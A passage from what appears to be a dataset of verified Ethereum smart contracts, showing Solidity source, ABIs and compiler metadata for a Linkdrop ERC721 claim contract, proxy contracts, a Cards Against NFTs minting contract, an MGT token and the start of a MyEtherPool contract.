* @param _linkdropSignerSignature ECDSA signature of linkdrop signer
* @param _receiver Address of linkdrop receiver
* @param _receiverSignature ECDSA signature of linkdrop receiver
* @param _fee Amount of fee to send to fee receiver
* @return True if success
*/
function checkClaimParamsERC721
(
uint _weiAmount,
address _nftAddress,
uint _tokenId,
uint _expiration,
address _linkId,
bytes memory _linkdropSignerSignature,
address _receiver,
bytes memory _receiverSignature,
uint _fee
)
public view
whenNotPaused
returns (bool)
{
// Make sure nft address is not equal to address(0)
require(_nftAddress != address(0), "INVALID_NFT_ADDRESS");
// Make sure link is not claimed
require(isClaimedLink(_linkId) == false, "LINK_CLAIMED");
// Make sure link is not canceled
require(isCanceledLink(_linkId) == false, "LINK_CANCELED");
// Make sure link is not expired
require(_expiration >= now, "LINK_EXPIRED");
// Make sure eth amount is available for this contract
require(address(this).balance >= _weiAmount.add(_fee), "INSUFFICIENT_ETHERS");
// Make sure linkdrop master is owner of token
require(IERC721(_nftAddress).ownerOf(_tokenId) == linkdropMaster, "LINKDROP_MASTER_DOES_NOT_OWN_TOKEN_ID");
// Make sure nft is available for this contract
require(IERC721(_nftAddress).isApprovedForAll(linkdropMaster, address(this)), "INSUFFICIENT_ALLOWANCE");
// Verify that link key is legit and signed by linkdrop signer's private key
require
(
verifyLinkdropSignerSignatureERC721
(
_weiAmount,
_nftAddress,
_tokenId,
_expiration,
_linkId,
_linkdropSignerSignature
),
"INVALID_LINKDROP_SIGNER_SIGNATURE"
);
// Verify that receiver address is signed by ephemeral key assigned to claim link (link key)
require
(
verifyReceiverSignatureERC721(_linkId, _receiver, _receiverSignature),
"INVALID_RECEIVER_SIGNATURE"
);
return true;
}
/**
* @dev Function to claim ETH and/or ERC721 token. Can only be called when contract is not paused
* @param _weiAmount Amount of wei to be claimed
* @param _nftAddress NFT address
* @param _tokenId Token id to be claimed
* @param _expiration Unix timestamp of link expiration time
* @param _linkId Address corresponding to link key
* @param _linkdropSignerSignature ECDSA signature of linkdrop signer
* @param _receiver Address of linkdrop receiver
* @param _receiverSignature ECDSA signature of linkdrop receiver
* @param _feeReceiver Address to transfer fees to
* @param _fee Amount of fee to send to _feeReceiver
* @return True if success
*/
function claimERC721
(
uint _weiAmount,
address _nftAddress,
uint _tokenId,
uint _expiration,
address _linkId,
bytes calldata _linkdropSignerSignature,
address payable _receiver,
bytes calldata _receiverSignature,
address payable _feeReceiver,
uint _fee
)
external
onlyFactory
whenNotPaused
returns (bool)
{
// Make sure params are valid
require
(
checkClaimParamsERC721
(
_weiAmount,
_nftAddress,
_tokenId,
_expiration,
_linkId,
_linkdropSignerSignature,
_receiver,
_receiverSignature,
_fee
),
"INVALID_CLAIM_PARAMS"
);
// Mark link as claimed
claimedTo[_linkId] = _receiver;
// Make sure transfer succeeds
require(_transferFundsERC721(_weiAmount, _nftAddress, _tokenId, _receiver, _feeReceiver, _fee), "TRANSFER_FAILED");
// Log claim
emit ClaimedERC721(_linkId, _weiAmount, _nftAddress, _tokenId, _receiver);
return true;
}
/**
* @dev Internal function to transfer ethers and/or ERC721 tokens
* @param _weiAmount Amount of wei to be claimed
* @param _nftAddress NFT address
* @param _tokenId Amount of tokens to be claimed (in atomic value)
* @param _receiver Address to transfer funds to
* @param _feeReceiver Address to transfer fees to
* @param _fee Amount of fee to send to _feeReceiver
* @return True if success
*/
function _transferFundsERC721
(
uint _weiAmount,
address _nftAddress,
uint _tokenId,
address payable _receiver,
address payable _feeReceiver,
uint _fee
)
internal returns (bool)
{
// Transfer fees
_feeReceiver.transfer(_fee);
// Transfer ethers
if (_weiAmount > 0) {
_receiver.transfer(_weiAmount);
}
// Transfer NFT
IERC721(_nftAddress).safeTransferFrom(linkdropMaster, _receiver, _tokenId);
return true;
}
}
contract LinkdropMastercopy is LinkdropERC20, LinkdropERC721 {
} | [{"constant":true,"inputs":[{"name":"_weiAmount","type":"uint256"},{"name":"_tokenAddress","type":"address"},{"name":"_tokenAmount","type":"uint256"},{"name":"_expiration","type":"uint256"},{"name":"_linkId","type":"address"},{"name":"_linkdropSignerSignature","type":"bytes"},{"name":"_receiver","type":"address"},{"name":"_receiverSignature","type":"bytes"},{"name":"_fee","type":"uint256"}],"name":"checkClaimParams","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"claimedTo","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_linkdropSigner","type":"address"}],"name":"removeSigner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"initialized","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_linkId","type":"address"},{"name":"_receiver","type":"address"},{"name":"_signature","type":"bytes"}],"name":"verifyReceiverSignatureERC721","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getMasterCopyVersion","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_weiAmount","type":"uint256"},{"name":"_tokenAddress","type":"address"},{"name":"_tokenAmount","type":"uint256"},{"name":"_expiration","type":"uint256"},{"name":"_linkId","type":"address"},{"name":"_signature","type":"bytes"}],"name":"verifyLinkdropSignerSignature","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_linkId","type":"address"},{"name":"_receiver","type":"address"},{"name":"_signature","type":"bytes"}],"name":"verifyReceiverSignature","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_linkId","type":"address"}],"name":"cancel","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"version","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_weiAmount","type":"uint256"},{"name":"_tokenAddress","type":"address"},{"name":"_tokenAmount","type":"uint256"},{"name":"_expiration","type":"uint256"},{"name":"_linkId","type":"address"},{"name":"_linkdropSignerSignature","type":"bytes"},{"name":"_receiver","type":"address"},{"name":"_receiverSignature","type":"bytes"},{"name":"_feeReceiver","type":"address"},{"name":"_fee","type":"uint256"}],"name":"claim","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_weiAmount","type":"uint256"},{"name":"_nftAddress","type":"address"},{"name":"_tokenId","type":"uint256"},{"name":"_expiration","type":"uint256"},{"name":"_linkId","type":"address"},{"name":"_linkdropSignerSignature","type":"bytes"},{"name":"_receiver","type":"address"},{"name":"_receiverSignature","type":"bytes"},{"name":"_fee","type":"uint256"}],"name":"checkClaimParamsERC721","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"destroy","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"chainId","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_weiAmount","type":"uint256"},{"name":"_nftAddress","type":"address"},{"name":"_tokenId","type":"uint256"},{"name":"_expiration","type":"uint256"},{"name":"_linkId","type":"address"},{"name":"_signature","type":"bytes"}],"name":"verifyLinkdropSignerSignatureERC721","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"linkdropMaster","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_linkId","type":"address"}],"name":"isCanceledLink","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isLinkdropSigner","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_weiAmount","type":"uint256"},{"name":"_nftAddress","type":"address"},{"name":"_tokenId","type":"uint256"},{"name":"_expiration","type":"uint256"},{"name":"_linkId","type":"address"},{"name":"_linkdropSignerSignature","type":"bytes"},{"name":"_receiver","type":"address"},{"name":"_receiverSignature","type":"bytes"},{"name":"_feeReceiver","type":"address"},{"name":"_fee","type":"uint256"}],"name":"claimERC721","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_linkdropSigner","type":"address"}],"name":"addSigner","outputs":[{"name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"_owner","type":"address"},{"name":"_linkdropMaster","type":"address"},{"name":"_version","type":"uint256"},{"name":"_chainId","type":"uint256"}],"name":"initialize","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_linkId","type":"address"}],"name":"isClaimedLink","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"linkId","type":"address"}],"name":"Canceled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"linkId","type":"address"},{"indexed":false,"name":"ethAmount","type":"uint256"},{"indexed":true,"name":"token","type":"address"},{"indexed":false,"name":"tokenAmount","type":"uint256"},{"indexed":false,"name":"receiver","type":"address"}],"name":"Claimed","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"linkId","type":"address"},{"indexed":false,"name":"ethAmount","type":"uint256"},{"indexed":true,"name":"nft","type":"address"},{"indexed":false,"name":"tokenId","type":"uint256"},{"indexed":false,"name":"receiver","type":"address"}],"name":"ClaimedERC721","type":"event"},{"anonymous":false,"inputs":[],"name":"Paused","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpaused","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"linkdropSigner","type":"address"}],"name":"AddedSigningKey","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"linkdropSigner","type":"address"}],"name":"RemovedSigningKey","type":"event"}] | v0.5.10+commit.5a6ea5b1 | false | 200 | Default | MIT | false | bzzr://71f5e12269157d6f5132d92251d320f25cb8071e75ac05c6332105e86fc0ccdf |
|||
Proxy | Proxy.sol | 0x71535e222b4d6dc27b3a3952bf971ed66d69ae79 | Solidity | pragma solidity ^0.5.0;
/// @title Proxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
contract Proxy {
// masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal masterCopy;
/// @dev Constructor function sets address of master copy contract.
/// @param _masterCopy Master copy address.
constructor(address _masterCopy)
public
{
require(_masterCopy != address(0), "Invalid master copy address provided");
masterCopy = _masterCopy;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
function ()
external
payable
{
// solium-disable-next-line security/no-inline-assembly
assembly {
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) { revert(0, returndatasize()) }
return(0, returndatasize())
}
}
} | [{"inputs":[{"name":"_masterCopy","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}] | v0.5.7+commit.6da8b019 | false | 200 | 000000000000000000000000b6029ea3b2c51d09a50b53ca8012feeb05bda35a | Default | false | bzzr://1e7d648b83cfac072cbccefc2ffc62a6999d4a050ee87a721942de1da9670db8 |
|||
CardsAgainstNFTs | contracts/CardsAgainstNFTs.sol | 0x7b6512e4a4a27e7fa27691149050bd25084291ec | Solidity | // SPDX-License-Identifier: GPL-3.0
/*
The most politically incorrect game takes birth on-chain.
Cards against NFTs is an experiment, but a fun-filled one. Here, our community
will create an on-chain game and as we come together, we will have created a deck
of cards using this contract.
The game creation is on-chain. The play however, is best when played
face to face, in groups!
The black and white cards minted using this contract will form the
First edition of Cards Against NFTs, that'll be published on 1st December 2021.
We will setup a DAO to decide further course of action based on community interest.
Let's have some fun, shall we?
*/
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "./Base64.sol";
contract CardsAgainstNFTs is ERC721, ERC721URIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _cardIds;
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
super._burn(tokenId);
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
return super.tokenURI(tokenId);
}
enum Color {WHITE, BLACK}
struct CardInfo {
uint256 cardId;
string text;
Color color;
address creator;
}
mapping (uint256 => CardInfo) cardIdToCardInfo;
constructor() ERC721("Cards Against NFTs", "CARD") {}
function sliceStringBytes(uint start, uint end, bytes memory text, uint height)
private pure
returns (string memory)
{
bytes memory slice = new bytes(end - start);
for (uint i = start; i < end; i++) {
slice[i - start] = text[i];
}
return string(
abi.encodePacked(
'<text x="10" y="',
Strings.toString(height),
'" class="base">',
string(slice),
'</text>'
)
);
}
function turnIntoMultiLineText(string memory line)
private pure
returns (string memory)
{
string memory output;
bytes memory input = bytes(line);
uint maxWidth = 19;
uint maxLines = 7;
uint sol = 0;
while (maxLines > 0) {
for (uint i = sol + maxWidth; i >= sol; i--) {
if (i >= input.length) {
continue;
}
if (input[i] == ' ' || i == input.length - 1) {
// sol to i is the latest line
string memory current = sliceStringBytes(sol, i + 1, input, 20 + (7 - maxLines) * 14);
output = string(abi.encodePacked(output, current));
sol = i + 1;
break;
}
}
if (sol >= input.length) {
break;
}
maxLines -= 1;
}
return output;
}
function getTokenURI(CardInfo memory cardInfo)
private pure
returns (string memory)
{
string memory textColor = 'white';
string memory bg = 'black';
if (cardInfo.color == Color.WHITE) {
textColor = 'black';
bg = '#fbfbfb';
}
string[11] memory parts;
parts[0] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 140 180"><style>.base { fill: ';
parts[1] = string(abi.encodePacked(textColor));
parts[2] = '; font-family: "Helvetica Neue"; font-size: 14px; font-weight="bold"; } .footer { fill: ';
parts[3] = string(abi.encodePacked(textColor));
parts[4] = '; font-family: "Helvetica Neue"; font-size: 6px; }</style><rect width="100%" height="100%" fill="';
parts[5] = string(abi.encodePacked(bg));
parts[6] = '" />';
parts[7] = turnIntoMultiLineText(cardInfo.text);
parts[8] = '<text x="10" y="170" class="footer">';
parts[9] = string(abi.encodePacked("Cards Against NFTs"));
parts[10] = '</text></svg>';
string memory output = string(
abi.encodePacked(
parts[0],
parts[1],
parts[2],
parts[3],
parts[4],
parts[5],
parts[6],
parts[7],
parts[8],
parts[9],
parts[10]
)
);
string memory json = Base64.encode(
bytes(
string(
abi.encodePacked(
'{"name": "Card #',
Strings.toString(cardInfo.cardId),
'", "description": "', cardInfo.text, '", "image": "data:image/svg+xml;base64,',
Base64.encode(bytes(output)),
'"}'
)
)
)
);
output = string(
abi.encodePacked('data:application/json;base64,', json)
);
return output;
}
function mintCard()
private
returns (uint256)
{
_cardIds.increment();
uint256 newCardId = _cardIds.current();
_mint(msg.sender, newCardId);
return newCardId;
}
function setCardInfo(uint256 cardId, string memory text, Color color)
private
{
CardInfo memory cardInfo = CardInfo(cardId, text, color, msg.sender);
cardIdToCardInfo[cardId] = cardInfo;
_setTokenURI(cardId, getTokenURI(cardInfo));
}
function mintWhiteCard(string memory text)
external
returns (uint256)
{
uint256 cardId = mintCard();
setCardInfo(cardId, text, Color.WHITE);
return cardId;
}
function mintBlackCard(string memory text)
external
returns (uint256)
{
uint256 cardId = mintCard();
setCardInfo(cardId, text, Color.BLACK);
return cardId;
}
function getCardInfo(uint256 tokenId)
public view
returns(CardInfo memory)
{
return cardIdToCardInfo[tokenId];
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getCardInfo","outputs":[{"components":[{"internalType":"uint256","name":"cardId","type":"uint256"},{"internalType":"string","name":"text","type":"string"},{"internalType":"enum CardsAgainstNFTs.Color","name":"color","type":"uint8"},{"internalType":"address","name":"creator","type":"address"}],"internalType":"struct CardsAgainstNFTs.CardInfo","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"text","type":"string"}],"name":"mintBlackCard","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"text","type":"string"}],"name":"mintWhiteCard","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | Default | false | |||||
MGTToken | MGTToken.sol | 0x8c28350a9449397f6ccbc61dd724601193a5dea0 | Solidity | pragma solidity ^0.4.11;
contract MGTToken {
string public name = "MGT";
string public symbol = "MGT";
uint256 public decimals = 8;
string public constant PRICE_PRESALE = "$0.1";
address public adminWallet;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalSupply = 0;
bool public stopped = false;
uint public constant TOKEN_SUPPLY_TOTAL = 20000000000000000;
uint public tokensIssuedIco = 14000000000000000;
uint256 constant valueFounder = TOKEN_SUPPLY_TOTAL;
address owner = 0x0;
modifier isOwner {
assert(owner == msg.sender);
_;
}
modifier isRunning {
assert(!stopped);
_;
}
modifier validAddress {
assert(0x0 != msg.sender);
_;
}
function MGTToken() public {
owner = msg.sender;
adminWallet = owner;
totalSupply = valueFounder;
balanceOf[owner] = valueFounder;
emit Transfer(0x0, owner, valueFounder);
}
function transfer(address _to, uint256 _value) public isRunning validAddress returns (bool success) {
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public isRunning validAddress returns (bool success) {
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
require(allowance[_from][msg.sender] >= _value);
balanceOf[_to] += _value;
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public isRunning validAddress returns (bool success) {
require(_value == 0 || allowance[msg.sender][_spender] == 0);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function stop() public isOwner {
stopped = true;
}
function start() public isOwner {
stopped = false;
}
function setName(string _name) public isOwner {
name = _name;
}
function setSymbol(string _symbol) public isOwner {
symbol = _symbol;
}
function burn(uint256 _value) public {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
balanceOf[0x0] += _value;
emit Transfer(msg.sender, 0x0, _value);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"stop","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"adminWallet","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"stopped","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"PRICE_PRESALE","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_symbol","type":"string"}],"name":"setSymbol","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"start","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_name","type":"string"}],"name":"setName","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"TOKEN_SUPPLY_TOTAL","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"tokensIssuedIco","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.21+commit.dfe3193c | false | 200 | Default | false | bzzr://bfbef7cd9b7b14b2e16ca19c12575955080aeb0475bbe168e9075b921bfac104 |
||||
Proxy | Proxy.sol | 0xae60f31d87ebb62eceb5ec466985afc3c5782fef | Solidity | pragma solidity ^0.5.0;
contract Proxy {
address public owner;
address public target;
event ProxyTargetSet(address target);
event ProxyOwnerChanged(address owner);
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setTarget(address _target) public onlyOwner {
target = _target;
emit ProxyTargetSet(_target);
}
function setOwner(address _owner) public onlyOwner {
owner = _owner;
emit ProxyOwnerChanged(_owner);
}
function() external payable {
address _impl = target;
require(_impl != address(0));
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 {
revert(ptr, size)
}
default {
return(ptr, size)
}
}
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"ProxyOwnerChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"target","type":"address"}],"name":"ProxyTargetSet","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"setOwner","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_target","type":"address"}],"name":"setTarget","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"target","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"}] | v0.5.17+commit.d19bba13 | true | 200 | Default | None | false | bzzr://339d9e50785b8f706bcf14c9575725adec03411a389e54e3bc85e9f164147bb8 |
|||
MyEtherPool | MyEtherPool.sol | 0xdddf154e753a98ff3bb40e6d6ddcce09d50295fd | Solidity | pragma solidity 0.5.11;
contract MyEtherPool {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
